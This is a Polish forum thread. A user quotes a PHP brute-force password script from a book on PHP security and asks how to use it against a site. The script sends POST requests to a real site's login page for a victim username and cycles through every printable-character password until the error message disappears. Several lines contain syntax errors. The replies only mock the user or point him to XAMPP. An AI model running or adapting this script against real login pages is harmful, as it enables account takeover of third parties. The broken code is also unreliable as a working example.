skrypt objasnienie

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
Mam takie pytanie zakupiłem sobie książke "Mistrz PHP Pisz nowoczesny kod' w tej że książce są opisy ataków na strone i metody bronienia się przed tym.
W ataku bruta force w książce jest taki skrypt:
PHP:
$url = 'http://www.fotka.pl/login.php';
$post_data = array('username' => 'nazwa_uzytkownika_ofiary');
$length = 0;
$password = array();
$chr = array_combine(range(32, 126), array_map('chr', range(32, 126)));
$ord = array_flip($chr);
$first = reset($chr);
$last = end($chr);
while (true) {
   $length++;
   $end = $length-1;
   $password =array_fill(0, $length, $first);
   $stop =array_fill(0, $length, $last);
   while ($password != $stop) {
   foreach ($chr as $string) {
   $password[$end] = $string;
   $post_data['password'] = implode('', $password);
   $context =stream_context_create(array('http' => array(
      'method' => 'POST'
      'follow_location' => false, 
      'header' => 'Content-Type: application/x-www-form-urlencoded',
      'content' => http_build_query($post_data)
)));
$response =file_get_contents($url, false, $context);
if (strpos($response, Niepoprawna nazwa u¿ytkownika lub has³o.')=== false) {
echo 'Znalezione has³o: ' .$post_data['password'], PHP-EOL;
exit;
}
}
for ($left = $end-1; isset($password[$left]) && $password[$left] == $last; $left--);
if (isset($password[$left]) && $password[$left] != $last) {
$password[$left] = $chr[$ord[$password[$left]]+1];
for ($index = $left+1; $index <= $length; $index++) {
$password[index] = $first;
}
}
}
}

tylko pytanie jak to wykorzystać ? Głupie pytanie ale mam ten skrypt dokleić do adresu strony atakowanej czy jak ?
 

Do4Got

Użytkownik
Dołączył
Listopad 18, 2012
Posty
242
Kupiłeś książke o PHP a nie wiesz jak odpalić skrypt?
Noobs-noobs-everywhere.jpg
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
Ściągnij XAMPP lub WebServa, stary i leciwy. Kurs php przestudiuj, pewnie poruszają na początku ten temat.
 
Do góry Bottom